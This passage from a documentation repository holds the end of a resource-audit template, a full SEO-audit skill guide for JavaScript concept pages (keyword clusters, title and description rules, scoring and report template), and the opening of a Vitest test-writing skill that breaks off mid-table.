Resource | Line | Old URL | New URL | |----------|------|---------|---------| | [Title] | XX | [old] | [new] | --- ## Outdated Resources (Consider Replacing) | Resource | Line | Issue | Recommendation | |----------|------|-------|----------------| | [Title] | XX | Published 2014, uses var throughout | Replace with [modern alternative] | | [Title] | XX | Pre-ES6, no mention of let/const | Find updated version or replace | --- ## Description Improvements Needed | Resource | Line | Current | Suggested | |----------|------|---------|-----------| | [Title] | XX | "A guide to closures" | "[Specific description with value prop]" | | [Title] | XX | "Learn about promises" | "[What makes it unique]. [Why read it]." | --- ## Missing Resources (Recommendations) | Type | Gap | Suggested Resource | URL | |------|-----|-------------------|-----| | Reference | No main MDN link | [Topic] — MDN | [URL] | | Article | No beginner guide | [Title] — javascript.info | [URL] | | Video | No visual explanation | [Title] — [Creator] | [URL] | | Article | No advanced deep-dive | [Title] — 2ality | [URL] | --- ## Non-JavaScript Resources (Remove) | Resource | Line | Issue | |----------|------|-------| | [Title] | XX | Primarily about C#, not JavaScript | --- ## Action Items ### High Priority (Do First) 1. **Remove broken link:** [Title] (line XX) 2. **Add missing MDN reference:** [Topic] 3. **Replace outdated resource:** [Title] with [alternative] ### Medium Priority 1. **Update redirect URL:** [Title] (line XX) 2. **Improve description:** [Title] (line XX) 3. **Add beginner-friendly article** ### Low Priority 1. **Add additional video resource** 2. **Consider adding course section** --- ## Verification Checklist After making changes: - [ ] All broken links removed or replaced - [ ] All redirect URLs updated - [ ] Outdated resources replaced - [ ] Generic descriptions rewritten - [ ] Missing resource types added - [ ] Resource counts meet targets - [ ] All new links verified working - [ ] All descriptions are specific and valuable ``` --- ## Quick Reference ### Icon Reference | Content Type | Icon Value | |--------------|------------| | MDN/Official docs | `book` | | Articles/Blog posts | `newspaper` | | Videos | `video` | | Courses | `graduation-cap` | | Books | `book` | | Related concepts | Context-appropriate | ### Character Guidelines | Element | Guideline | |---------|-----------| | Card title | Keep concise, include creator for videos | | Description sentence 1 | What it covers / what's unique | | Description sentence 2 | Why read/watch / who it's for | ### Resource Ordering Within each section, order resources: 1. **Most foundational/beginner-friendly first** 2. **Official references before community content** 3. **Most highly recommended prominently placed** 4. **Advanced/niche content last** --- ## Quality Checklist ### Link Verification - [ ] All links return 200 (not 404, 301) - [ ] No redirect chains - [ ] No hard paywalls without notice - [ ] All URLs are HTTPS where available ### Content Quality - [ ] All resources are JavaScript-focused - [ ] No resources teaching anti-patterns - [ ] Publication dates appropriate for topic - [ ] Mix of beginner and advanced content - [ ] Visual and text resources included ### Description Quality - [ ] All descriptions are specific (not generic) - [ ] Descriptions explain unique value - [ ] No "comprehensive guide to..." phrases - [ ] Each description is 2 sentences - [ ] Descriptions match actual content ### Completeness - [ ] 2-4 MDN/official references - [ ] 4-6 quality articles - [ ] 3-4 quality videos - [ ] Resources ordered logically - [ ] Diversity in teaching styles --- ## Summary When curating resources for a concept page: 1. **Audit first** — Check all existing links and content 2. **Identify gaps** — Compare against targets (2-4 refs, 4-6 articles, 3-4 videos) 3. **Find quality resources** — Search trusted sources 4. **Write specific descriptions** — What's unique + why read/watch 5. **Format correctly** — Proper Card syntax, icons, ordering 6. **Document changes** — Use the audit report template **Remember:** Resources should enhance learning, not pad the page. Every link should offer genuine value. Quality over quantity — a few excellent resources beat many mediocre ones. ================================================ FILE: .opencode/skill/seo-review/SKILL.md ================================================ --- name: seo-review description: Perform a focused SEO audit on JavaScript concept pages to maximize search visibility, featured snippet optimization, and ranking potential --- # Skill: SEO Audit for Concept Pages Use this skill to perform a focused SEO audit on concept documentation pages for the 33 JavaScript Concepts project. The goal is to maximize search visibility for JavaScript developers. ## When to Use - Before publishing a new concept page - When optimizing underperforming pages - Periodic content audits - After major content updates - When targeting new keywords ## Goal Each concept page should rank for searches like: - "what is [concept] in JavaScript" - "how does [concept] work in JavaScript" - "[concept] JavaScript explained" - "[concept] JavaScript tutorial" - "[concept] JavaScript example" --- ## SEO Audit Methodology Follow these five steps for a complete SEO audit. ### Step 1: Identify Target Keywords Before auditing, identify the keyword cluster for the concept. #### Keyword Cluster Template | Type | Pattern | Example (Closures) | |------|---------|-------------------| | **Primary** | [concept] JavaScript | closures JavaScript | | **What is** | what is [concept] in JavaScript | what is a closure in JavaScript | | **How does** | how does [concept] work | how do closures work | | **How to** | how to use/create [concept] | how to use closures | | **Why** | why use [concept] | why use closures JavaScript | | **Examples** | [concept] examples | closure examples JavaScript | | **vs** | [concept] vs [related] | closures vs scope | | **Interview** | [concept] interview questions | closure interview questions | ### Step 2: On-Page SEO Audit Check all on-page SEO elements systematically. ### Step 3: Featured Snippet Optimization Verify content is structured to win featured snippets. ### Step 4: Internal Linking Audit Check the internal link structure. ### Step 5: Generate Report Document findings using the report template. --- ## Keyword Clusters by Concept Use these pre-built keyword clusters for each concept. <AccordionGroup> <Accordion title="Call Stack"> | Type | Keywords | |------|----------| | Primary | JavaScript call stack, call stack JavaScript | | What is | what is the call stack in JavaScript | | How does | how does the call stack work | | Error | maximum call stack size exceeded, stack overflow JavaScript | | Visual | call stack visualization, call stack explained | | Interview | call stack interview questions JavaScript | </Accordion> <Accordion title="Primitive Types"> | Type | Keywords | |------|----------| | Primary | JavaScript primitive types, primitives in JavaScript | | What are | what are primitive types in JavaScript | | List | JavaScript data types, types in JavaScript | | vs | primitives vs objects JavaScript | | typeof | typeof JavaScript, JavaScript typeof operator | | Interview | JavaScript types interview questions | </Accordion> <Accordion title="Value vs Reference Types"> | Type | Keywords | |------|----------| | Primary | JavaScript value vs reference, pass by reference JavaScript | | What is | what is pass by value in JavaScript | | How does | how does JavaScript pass objects | | Comparison | value types vs reference types JavaScript | | Copy | how to copy objects JavaScript, deep copy JavaScript | </Accordion> <Accordion title="Type Coercion"> | Type | Keywords | |------|----------| | Primary | JavaScript type coercion, type conversion JavaScript | | What is | what is type coercion in JavaScript | | How does | how does type coercion work | | Implicit | implicit type conversion JavaScript | | Explicit | explicit type conversion JavaScript | | Interview | type coercion interview questions | </Accordion> <Accordion title="Equality Operators"> | Type | Keywords | |------|----------| | Primary | JavaScript equality, == vs === JavaScript | | What is | what is the difference between == and === | | Comparison | loose equality vs strict equality JavaScript | | Best practice | when to use == vs === | | Interview | JavaScript equality interview questions | </Accordion> <Accordion title="Scope and Closures"> | Type | Keywords | |------|----------| | Primary | JavaScript closures, JavaScript scope | | What is | what is a closure in JavaScript, what is scope | | How does | how do closures work, how does scope work | | Types | types of scope JavaScript, lexical scope | | Use cases | closure use cases, why use closures | | Interview | closure interview questions JavaScript | </Accordion> <Accordion title="Event Loop"> | Type | Keywords | |------|----------| | Primary | JavaScript event loop, event loop JavaScript | | What is | what is the event loop in JavaScript | | How does | how does the event loop work | | Visual | event loop visualization, event loop explained | | Related | call stack event loop, task queue JavaScript | | Interview | event loop interview questions | </Accordion> <Accordion title="Promises"> | Type | Keywords | |------|----------| | Primary | JavaScript Promises, Promises in JavaScript | | What is | what is a Promise in JavaScript | | How to | how to use Promises, how to chain Promises | | Methods | Promise.all, Promise.race, Promise.allSettled | | Error | Promise error handling, Promise catch | | vs | Promises vs callbacks, Promises vs async await | </Accordion> <Accordion title="async/await"> | Type | Keywords | |------|----------| | Primary | JavaScript async await, async await JavaScript | | What is | what is async await in JavaScript | | How to | how to use async await, async await tutorial | | Error | async await error handling, try catch async | | vs | async await vs Promises | | Interview | async await interview questions | </Accordion> <Accordion title="this Keyword"> | Type | Keywords | |------|----------| | Primary | JavaScript this keyword, this in JavaScript | | What is | what is this in JavaScript | | How does | how does this work in JavaScript | | Binding | call apply bind JavaScript, this binding | | Arrow | this in arrow functions | | Interview | this keyword interview questions | </Accordion> <Accordion title="Prototypes"> | Type | Keywords | |------|----------| | Primary | JavaScript prototype, prototype chain JavaScript | | What is | what is a prototype in JavaScript | | How does | how does prototype inheritance work | | Chain | prototype chain explained | | vs | prototype vs class JavaScript | | Interview | prototype interview questions JavaScript | </Accordion> <Accordion title="DOM"> | Type | Keywords | |------|----------| | Primary | JavaScript DOM, DOM manipulation JavaScript | | What is | what is the DOM in JavaScript | | How to | how to manipulate DOM JavaScript | | Methods | getElementById, querySelector JavaScript | | Events | DOM events JavaScript, event listeners | | Performance | DOM performance, virtual DOM vs DOM | </Accordion> <Accordion title="Higher-Order Functions"> | Type | Keywords | |------|----------| | Primary | JavaScript higher order functions, higher order functions | | What are | what are higher order functions | | Examples | map filter reduce JavaScript | | How to | how to use higher order functions | | Interview | higher order functions interview | </Accordion> <Accordion title="Recursion"> | Type | Keywords | |------|----------| | Primary | JavaScript recursion, recursion in JavaScript | | What is | what is recursion in JavaScript | | How to | how to write recursive functions | | Examples | recursion examples JavaScript | | vs | recursion vs iteration JavaScript | | Interview | recursion interview questions | </Accordion> </AccordionGroup> --- ## Audit Checklists ### Title Tag Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Length 50-60 characters | 1 | Count characters in `title` frontmatter | | 2 | Primary keyword in first half | 1 | Concept name appears early | | 3 | Ends with "in JavaScript" | 1 | Check title ending | | 4 | Contains compelling hook | 1 | Promises value/benefit to reader | **Scoring:** - 4/4: ✅ Excellent - 3/4: ⚠️ Good, minor improvements possible - 0-2/4: ❌ Needs significant work **Title Formula:** ``` [Concept]: [What You'll Understand] in JavaScript ``` **Good Examples:** | Concept | Title (with character count) | |---------|------------------------------| | Closures | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | | Event Loop | "Event Loop: How Async Code Actually Runs in JavaScript" (54 chars) | | Promises | "Promises: Handling Async Operations in JavaScript" (49 chars) | | DOM | "DOM: How Browsers Represent Web Pages in JavaScript" (51 chars) | **Bad Examples:** | Issue | Bad Title | Better Title | |-------|-----------|--------------| | Too short | "Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | | Too long | "Understanding JavaScript Closures and How They Work with Examples" (66 chars) | "Closures: How Functions Remember Their Scope in JavaScript" (58 chars) | | No hook | "JavaScript Closures" | "Closures: How Functions Remember Their Scope in JavaScript" | | Missing "JavaScript" | "Understanding Closures and Scope" | Add "in JavaScript" at end | --- ### Meta Description Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Length 150-160 characters | 1 | Count characters in `description` frontmatter | | 2 | Starts with action word | 1 | "Learn", "Understand", "Discover" (NOT "Master") | | 3 | Contains primary keyword | 1 | Concept name + "JavaScript" present | | 4 | Promises specific value | 1 | Lists what reader will learn | **Description Formula:** ``` [Action word] [what it is] in JavaScript. [Specific things they'll learn]: [topic 1], [topic 2], and [topic 3]. ``` **Good Examples:** | Concept | Description | |---------|-------------| | Closures | "Learn JavaScript closures and how functions remember their scope. Covers lexical scoping, practical use cases, memory considerations, and common closure patterns." (159 chars) | | Event Loop | "Discover how the JavaScript event loop manages async code execution. Understand the call stack, task queue, microtasks, and why JavaScript is single-threaded but non-blocking." (176 chars - trim!) | | DOM | "Learn how the DOM works in JavaScript. Understand how browsers represent HTML as a tree, select and manipulate elements, traverse nodes, and optimize rendering." (162 chars) | **Bad Examples:** | Issue | Bad Description | Fix | |-------|-----------------|-----| | Too short | "Learn about closures" | Expand to 150-160 chars with specifics | | Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | | Too vague | "A guide to closures" | List specific topics covered | | Missing keyword | "Functions can remember things" | Include "closures" and "JavaScript" | --- ### Keyword Placement Checklist (5 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Primary keyword in title | 1 | Check frontmatter `title` | | 2 | Primary keyword in meta description | 1 | Check frontmatter `description` | | 3 | Primary keyword in first 100 words | 1 | Check opening paragraphs | | 4 | Keyword in at least one H2 heading | 1 | Scan all `##` headings | | 5 | No keyword stuffing | 1 | Content reads naturally | **Keyword Placement Map:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ KEYWORD PLACEMENT │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 🔴 CRITICAL (Must have keyword) │ │ ───────────────────────────────── │ │ • title frontmatter │ │ • description frontmatter │ │ • First paragraph (within 100 words) │ │ • At least one H2 heading │ │ │ │ 🟡 RECOMMENDED (Include naturally) │ │ ────────────────────────────────── │ │ • "What you'll learn" Info box │ │ • H3 subheadings │ │ • Key Takeaways section │ │ • First sentence after major H2s │ │ │ │ ⚠️ AVOID │ │ ───────── │ │ • Same phrase >4 times per 1000 words │ │ • Forcing keywords where pronouns work better │ │ • Awkward sentence structures to fit keywords │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ### Content Structure Checklist (6 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Opens with question hook | 1 | First paragraph asks engaging question | | 2 | Code example in first 200 words | 1 | Simple example appears early | | 3 | "What you'll learn" Info box | 1 | `<Info>` component after opening | | 4 | Short paragraphs (2-4 sentences) | 1 | Scan content for long blocks | | 5 | 1,500+ words | 1 | Word count check | | 6 | Key terms bolded on first mention | 1 | Important terms use `**bold**` | **Content Structure Template:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ IDEAL PAGE STRUCTURE │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ 1. QUESTION HOOK (First 50 words) │ │ "How does JavaScript...? Why do...?" │ │ │ │ 2. BRIEF ANSWER + CODE EXAMPLE (Words 50-200) │ │ Quick explanation + simple code demo │ │ │ │ 3. "WHAT YOU'LL LEARN" INFO BOX │ │ 5-7 bullet points │ │ │ │ 4. PREREQUISITES WARNING (if applicable) │ │ Link to required prior concepts │ │ │ │ 5. MAIN CONTENT SECTIONS (H2s) │ │ Each H2 answers a question or teaches a concept │ │ Include code examples, diagrams, tables │ │ │ │ 6. COMMON MISTAKES / GOTCHAS SECTION │ │ What trips people up │ │ │ │ 7. KEY TAKEAWAYS │ │ 8-10 numbered points summarizing everything │ │ │ │ 8. TEST YOUR KNOWLEDGE │ │ 5-6 Q&A accordions │ │ │ │ 9. RELATED CONCEPTS │ │ 4 cards linking to related topics │ │ │ │ 10. RESOURCES (Reference, Articles, Videos) │ │ MDN links, curated articles, videos │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` --- ### Featured Snippet Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | "What is X" has 40-60 word definition | 1 | Count words in first paragraph after "What is" H2 | | 2 | At least one H2 is phrased as question | 1 | Check for "What is", "How does", "Why" H2s | | 3 | Numbered steps for "How to" content | 1 | Uses `<Steps>` component or numbered list | | 4 | Comparison tables (if applicable) | 1 | Tables for "X vs Y" content | **Featured Snippet Patterns:** ``` ┌─────────────────────────────────────────────────────────────────────────┐ │ FEATURED SNIPPET FORMATS │ ├─────────────────────────────────────────────────────────────────────────┤ │ │ │ QUERY TYPE WINNING FORMAT YOUR CONTENT │ │ ─────────── ────────────── ──────────── │ │ │ │ "What is X" Paragraph 40-60 word definition │ │ after H2, bold keyword │ │ │ │ "How to X" Numbered list <Steps> component or │ │ 1. 2. 3. markdown │ │ │ │ "X vs Y" Table | Feature | X | Y | │ │ comparison table │ │ │ │ "Types of X" Bullet list - **Type 1** — desc │ │ - **Type 2** — desc │ │ │ │ "[X] examples" Code block ```javascript │ │ + explanation // example code │ │ │ └─────────────────────────────────────────────────────────────────────────┘ ``` **Definition Paragraph Example (40-60 words):** ```markdown ## What is a Closure in JavaScript? A **closure** is a function that retains access to variables from its outer (enclosing) scope, even after that outer function has finished executing. Closures are created every time a function is created in JavaScript, allowing inner functions to "remember" and access their lexical environment. ``` (This is 52 words - perfect for a featured snippet) --- ### Internal Linking Checklist (4 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | 3-5 related concepts linked in body | 1 | Count `/concepts/` links in prose | | 2 | Descriptive anchor text | 1 | No "click here", "here", "this" | | 3 | Prerequisites in Warning box | 1 | `<Warning>` with links at start | | 4 | Related Concepts section has 4 cards | 1 | `<CardGroup>` at end with 4 Cards | **Good Anchor Text:** | ❌ Bad | ✓ Good | |--------|--------| | "click here" | "event loop concept" | | "here" | "JavaScript closures" | | "this article" | "our Promises guide" | | "read more" | "understanding the call stack" | **Link Placement Strategy:** ```markdown <!-- In Prerequisites (Warning box) --> <Warning> **Prerequisite:** This guide assumes you understand [Promises](/concepts/promises) and the [Event Loop](/concepts/event-loop). Read those first if needed. </Warning> <!-- In Body Content (natural context) --> When the callback finishes, it's added to the task queue — managed by the [event loop](/concepts/event-loop). <!-- In Related Concepts Section --> <CardGroup cols={2}> <Card title="Promises" icon="handshake" href="/concepts/promises"> async/await is built on top of Promises </Card> </CardGroup> ``` --- ### Technical SEO Checklist (3 points) | # | Check | Points | How to Verify | |---|-------|--------|---------------| | 1 | Single H1 per page | 1 | Only one `#` heading (the title) | | 2 | URL slug contains keyword | 1 | `/concepts/closures` not `/concepts/topic-1` | | 3 | No orphan pages | 1 | Page is linked from at least one other page | **H1 Rule:** Every page should have exactly ONE H1 (your main title). This is critical for SEO: - The H1 tells Google what the page is about - Multiple H1s confuse search engines about page hierarchy - All other headings should be H2 (`##`) and below - The H1 should contain your primary keyword ```markdown # Closures in JavaScript ← This is your H1 (only one!) ## What is a Closure? ← H2 for sections ### Lexical Scope ← H3 for subsections ## How Closures Work ← Another H2 ``` **URL/Slug Best Practices:** | ✅ Good | ❌ Bad | |---------|--------| | `/concepts/closures` | `/concepts/c1` | | `/concepts/event-loop` | `/concepts/topic-7` | | `/concepts/type-coercion` | `/concepts/abc123` | | `/concepts/async-await` | `/concepts/async_await` | Rules for slugs: - **Include primary keyword** — The concept name should be in the URL - **Use hyphens, not underscores** — `event-loop` not `event_loop` - **Keep slugs short and readable** — Under 50 characters - **No UUIDs, database IDs, or random strings** - **Lowercase only** — `/concepts/Event-Loop` should be `/concepts/event-loop` **Orphan Page Detection:** An orphan page has no internal links pointing to it from other pages. This hurts SEO because: - Google may not discover or crawl it frequently - It signals the page isn't important to your site structure - Users can't navigate to it naturally - Link equity doesn't flow to the page **How to check for orphan pages:** 1. Search the codebase for links to this concept: `grep -r "/concepts/[slug]" docs/` 2. Verify it appears in at least one other concept's "Related Concepts" section 3. Check that pages listing it as a prerequisite link back appropriately 4. Ensure it's included in the navigation (`docs.json`) **Fixing orphan pages:** - Add the concept to related pages' "Related Concepts" CardGroup - Link to it naturally in body content of related concepts - Ensure bidirectional linking (if A links to B, B should link back to A where relevant) --- ## Scoring System ### Total Points Available: 30 | Category | Max Points | |----------|------------| | Title Tag | 4 | | Meta Description | 4 | | Keyword Placement | 5 | | Content Structure | 6 | | Featured Snippets | 4 | | Internal Linking | 4 | | Technical SEO | 3 | | **Total** | **30** | ### Score Interpretation | Score | Percentage | Status | Action | |-------|------------|--------|--------| | 27-30 | 90-100% | ✅ Excellent | Ready to publish | | 23-26 | 75-89% | ⚠️ Good | Minor optimizations needed | | 17-22 | 55-74% | ⚠️ Fair | Several improvements needed | | 0-16 | <55% | ❌ Poor | Significant work required | --- ## Common SEO Issues and Fixes ### Title Tag Issues | Issue | Current | Fix | |-------|---------|-----| | Too short (<50 chars) | "Closures" (8) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | | Too long (>60 chars) | "Understanding JavaScript Closures and How They Work with Examples" (66) | "Closures: How Functions Remember Their Scope in JavaScript" (58) | | Missing keyword | "Understanding Scope" | Add concept name: "Closures: Understanding Scope in JavaScript" | | No hook | "JavaScript Closures" | Add benefit: "Closures: How Functions Remember Their Scope in JavaScript" | | Missing "JavaScript" | "Closures Explained" | Add at end: "Closures Explained in JavaScript" | ### Meta Description Issues | Issue | Current | Fix | |-------|---------|-----| | Too short (<120 chars) | "Learn about closures" (20) | Expand with specifics to 150-160 chars | | Too long (>160 chars) | [Gets truncated] | Edit ruthlessly, keep key information | | Starts with "Master" | "Master JavaScript closures..." | "Learn JavaScript closures..." | | No keyword | "Functions that remember" | Include "closures" and "JavaScript" | | Too vague | "A guide to closures" | List specific topics: "Covers X, Y, and Z" | ### Content Structure Issues | Issue | Fix | |-------|-----| | No question hook | Start with "How does...?" or "Why...?" | | Code example too late | Move simple example to first 200 words | | Missing Info box | Add `<Info>` with "What you'll learn" | | Long paragraphs | Break into 2-4 sentence chunks | | Under 1,500 words | Add more depth, examples, edge cases | | No bolded terms | Bold key concepts on first mention | ### Featured Snippet Issues | Issue | Fix | |-------|-----| | No "What is" definition | Add 40-60 word definition paragraph | | Definition too long | Tighten to 40-60 words | | No question H2s | Add "What is X?" or "How does X work?" H2 | | Steps not numbered | Use `<Steps>` or numbered markdown | | No comparison tables | Add table for "X vs Y" sections | ### Internal Linking Issues | Issue | Fix | |-------|-----| | No internal links | Add 3-5 links to related concepts | | Bad anchor text | Replace "click here" with descriptive text | | No prerequisites | Add `<Warning>` with prerequisite links | | Empty Related Concepts | Add 4 Cards linking to related topics | ### Technical SEO Issues | Issue | Fix | |-------|-----| | Multiple H1 tags | Keep only one `#` heading (the title), use `##` for all sections | | Slug missing keyword | Rename file to include concept name (e.g., `closures.mdx`) | | Orphan page | Add links from related concept pages' body or Related Concepts section | | Underscore in slug | Use hyphens: `event-loop.mdx` not `event_loop.mdx` | | Uppercase in slug | Use lowercase only: `async-await.mdx` not `Async-Await.mdx` | | Slug too long | Shorten to primary keyword: `closures.mdx` not `understanding-javascript-closures-and-scope.mdx` | --- ## SEO Audit Report Template Use this template to document your findings. ```markdown # SEO Audit Report: [Concept Name] **File:** `/docs/concepts/[slug].mdx` **Date:** YYYY-MM-DD **Auditor:** [Name/Claude] **Overall Score:** XX/30 (XX%) **Status:** ✅ Excellent | ⚠️ Needs Work | ❌ Poor --- ## Score Summary | Category | Score | Status | |----------|-------|--------| | Title Tag | X/4 | ✅/⚠️/❌ | | Meta Description | X/4 | ✅/⚠️/❌ | | Keyword Placement | X/5 | ✅/⚠️/❌ | | Content Structure | X/6 | ✅/⚠️/❌ | | Featured Snippets | X/4 | ✅/⚠️/❌ | | Internal Linking | X/4 | ✅/⚠️/❌ | | Technical SEO | X/3 | ✅/⚠️/❌ | | **Total** | **X/30** | **STATUS** | --- ## Target Keywords **Primary Keyword:** [e.g., "JavaScript closures"] **Secondary Keywords:** - [keyword 1] - [keyword 2] - [keyword 3] **Search Intent:** Informational / How-to / Comparison --- ## Title Tag Analysis **Current Title:** "[current title from frontmatter]" **Character Count:** XX characters **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | Length 50-60 chars | ✅/❌ | XX characters | | Primary keyword in first half | ✅/❌ | [notes] | | Ends with "in JavaScript" | ✅/❌ | [notes] | | Contains compelling hook | ✅/❌ | [notes] | **Issues Found:** [if any] **Recommended Title:** "[suggested title]" (XX chars) --- ## Meta Description Analysis **Current Description:** "[current description from frontmatter]" **Character Count:** XX characters **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | Length 150-160 chars | ✅/❌ | XX characters | | Starts with action word | ✅/❌ | Starts with "[word]" | | Contains primary keyword | ✅/❌ | [notes] | | Promises specific value | ✅/❌ | [notes] | **Issues Found:** [if any] **Recommended Description:** "[suggested description]" (XX chars) --- ## Keyword Placement Analysis **Score:** X/5 | Location | Present | Notes | |----------|---------|-------| | Title | ✅/❌ | [notes] | | Meta description | ✅/❌ | [notes] | | First 100 words | ✅/❌ | Found at word XX | | H2 heading | ✅/❌ | Found in: "[H2 text]" | | Natural reading | ✅/❌ | [no stuffing / stuffing detected] | **Missing Keyword Placements:** - [ ] [Location where keyword should be added] --- ## Content Structure Analysis **Word Count:** X,XXX words **Score:** X/6 | Check | Status | Notes | |-------|--------|-------| | Question hook opening | ✅/❌ | [notes] | | Code in first 200 words | ✅/❌ | Code appears at word XX | | "What you'll learn" box | ✅/❌ | [present/missing] | | Short paragraphs | ✅/❌ | [notes on paragraph length] | | 1,500+ words | ✅/❌ | X,XXX words | | Bolded key terms | ✅/❌ | [notes] | **Structure Issues:** - [ ] [Issue and recommendation] --- ## Featured Snippet Analysis **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | 40-60 word definition | ✅/❌ | Currently XX words | | Question-format H2 | ✅/❌ | Found: "[H2]" / Not found | | Numbered steps | ✅/❌ | [notes] | | Comparison tables | ✅/❌/N/A | [notes] | **Snippet Opportunities:** 1. **"What is [concept]" snippet:** - Current definition: XX words - Action: [Expand to/Trim to] 40-60 words 2. **"How to [action]" snippet:** - Action: [Add Steps component / Already present] --- ## Internal Linking Analysis **Score:** X/4 | Check | Status | Notes | |-------|--------|-------| | 3-5 internal links in body | ✅/❌ | Found X links | | Descriptive anchor text | ✅/❌ | [notes] | | Prerequisites in Warning | ✅/❌ | [present/missing] | | Related Concepts section | ✅/❌ | X cards present | **Current Internal Links:** 1. [Anchor text] → `/concepts/[slug]` 2. [Anchor text] → `/concepts/[slug]` **Recommended Links to Add:** - Link to [concept] in [section/context] - Link to [concept] in [section/context] **Bad Anchor Text Found:** - Line XX: "click here" → change to "[descriptive text]" --- ## Technical SEO Analysis **Score:** X/3 | Check | Status | Notes | |-------|--------|-------| | Single H1 per page | ✅/❌ | [Found X H1 tags] | | URL slug contains keyword | ✅/❌ | Current: `/concepts/[slug]` | | Not an orphan page | ✅/❌ | Linked from X other pages | **H1 Tags Found:** - Line XX: `# [H1 text]` ← Should be the only one - [List any additional H1s that need to be changed to H2] **Slug Analysis:** - Current slug: `[slug].mdx` - Contains keyword: ✅/❌ - Format correct: ✅/❌ (lowercase, hyphens, no special chars) **Incoming Links Found:** 1. `/concepts/[other-concept]` → Links to this page in [section] 2. `/concepts/[other-concept]` → Links in Related Concepts **If orphan page, add links from:** - [Suggested concept page] in [section] - [Suggested concept page] in Related Concepts --- ## Priority Fixes ### High Priority (Do First) 1. **[Issue]** - Current: [what it is now] - Recommended: [what it should be] - Impact: [why this matters] 2. **[Issue]** - Current: [what it is now] - Recommended: [what it should be] - Impact: [why this matters] ### Medium Priority 1. **[Issue]** - Recommendation: [fix] ### Low Priority (Nice to Have) 1. **[Issue]** - Recommendation: [fix] --- ## Competitive Analysis (Optional) **Top-Ranking Pages for "[primary keyword]":** 1. **[Competitor 1 - URL]** - What they do well: [observation] - Word count: ~X,XXX 2. **[Competitor 2 - URL]** - What they do well: [observation] - Word count: ~X,XXX **Our Advantages:** - [What we do better] **Gaps to Fill:** - [What we're missing that competitors have] --- ## Implementation Checklist After making fixes, verify: - [ ] Title is 50-60 characters with keyword and hook - [ ] Description is 150-160 characters with action word and value - [ ] Primary keyword in title, description, first 100 words, and H2 - [ ] Opens with question hook - [ ] Code example in first 200 words - [ ] "What you'll learn" Info box present - [ ] Paragraphs are 2-4 sentences - [ ] 1,500+ words total - [ ] Key terms bolded on first mention - [ ] 40-60 word definition for featured snippet - [ ] At least one question-format H2 - [ ] 3-5 internal links with descriptive anchor text - [ ] Prerequisites in Warning box (if applicable) - [ ] Related Concepts section has 4 cards - [ ] Single H1 per page (title only) - [ ] URL slug contains primary keyword - [ ] Page linked from at least one other concept page - [ ] All fixes implemented and verified --- ## Final Recommendation **Ready to Publish:** ✅ Yes / ❌ No - [reason] **Next Review Date:** [When to re-audit, e.g., "3 months" or "after major update"] ``` --- ## Quick Reference ### Character Counts | Element | Ideal Length | |---------|--------------| | Title | 50-60 characters | | Meta Description | 150-160 characters | | Definition paragraph | 40-60 words | ### Keyword Density - Don't exceed 3-4 mentions of exact phrase per 1,000 words - Use variations naturally (e.g., "closures", "closure", "JavaScript closures") ### Content Length | Length | Assessment | |--------|------------| | <1,000 words | Too thin - add depth | | 1,000-1,500 | Minimum viable | | 1,500-2,500 | Good | | 2,500-4,000 | Excellent | | >4,000 | Consider splitting | --- ## Summary When auditing a concept page for SEO: 1. **Identify target keywords** using the keyword cluster for that concept 2. **Check title tag** — 50-60 chars, keyword first, hook, ends with "JavaScript" 3. **Check meta description** — 150-160 chars, action word, keyword, specific value 4. **Verify keyword placement** — Title, description, first 100 words, H2 5. **Audit content structure** — Question hook, early code, Info box, short paragraphs 6. **Optimize for featured snippets** — 40-60 word definitions, numbered steps, tables 7. **Check internal linking** — 3-5 links, good anchors, Related Concepts section 8. **Generate report** — Document score, issues, and prioritized fixes **Remember:** SEO isn't about gaming search engines — it's about making content easy to find for developers who need it. Every optimization should also improve the reader experience. ================================================ FILE: .opencode/skill/test-writer/SKILL.md ================================================ --- name: test-writer description: Generate comprehensive Vitest tests for code examples in JavaScript concept documentation pages, following project conventions and referencing source lines --- # Skill: Test Writer for Concept Pages Use this skill to generate comprehensive Vitest tests for all code examples in a concept documentation page. Tests verify that code examples in the documentation are accurate and work as described. ## When to Use - After writing a new concept page - When adding new code examples to existing pages - When updating existing code examples - To verify documentation accuracy through automated tests - Before publishing to ensure all examples work correctly ## Test Writing Methodology Follow these four phases to create comprehensive tests for a concept page. ### Phase 1: Code Example Extraction Scan the concept page for all code examples and categorize them: | Category | Characteristics | Action | |----------|-----------------|--------| | **Testable** | Has `console.log` with output comments, returns values | Write tests | | **DOM-specific** | Uses `document`, `window`, DOM APIs, event handlers | Write DOM tests (separate file) | | **Error examples** | Intentionally throws errors, demonstrates failures | Write tests with `toThrow` | | **Conceptual** | ASCII diagrams, pseudo-code, incomplete snippets | Skip (document why) | | **Browser-only** | Uses browser APIs not available in jsdom | Skip or mock | ### Phase 2: Determine Test File Structure ``` tests/ ├── fundamentals/ # Concepts 1-6 ├── functions-execution/ # Concepts 7-8 ├── web-platform/ # Concepts 9-10 ├── object-oriented/ # Concepts 11-15 ├── functional-programming/ # Concepts 16-19 ├── async-javascript/ # Concepts 20-22 ├── advanced-topics/ # Concepts 23-31 └── beyond/ # Extended concepts └── {subcategory}/ ``` **File naming:** - Standard tests: `{concept-name}.test.js` - DOM tests: `{concept-name}.dom.test.js` ### Phase 3: Convert Examples to Tests For each testable code example: 1. Identify the expected output (from `console.log` comments or documented behavior) 2. Convert to `expect` assertions 3. Add source line reference in comments 4. Group related tests in `describe` blocks matching documentation sections ### Phase 4: Handle Special Cases | Case | Solution | 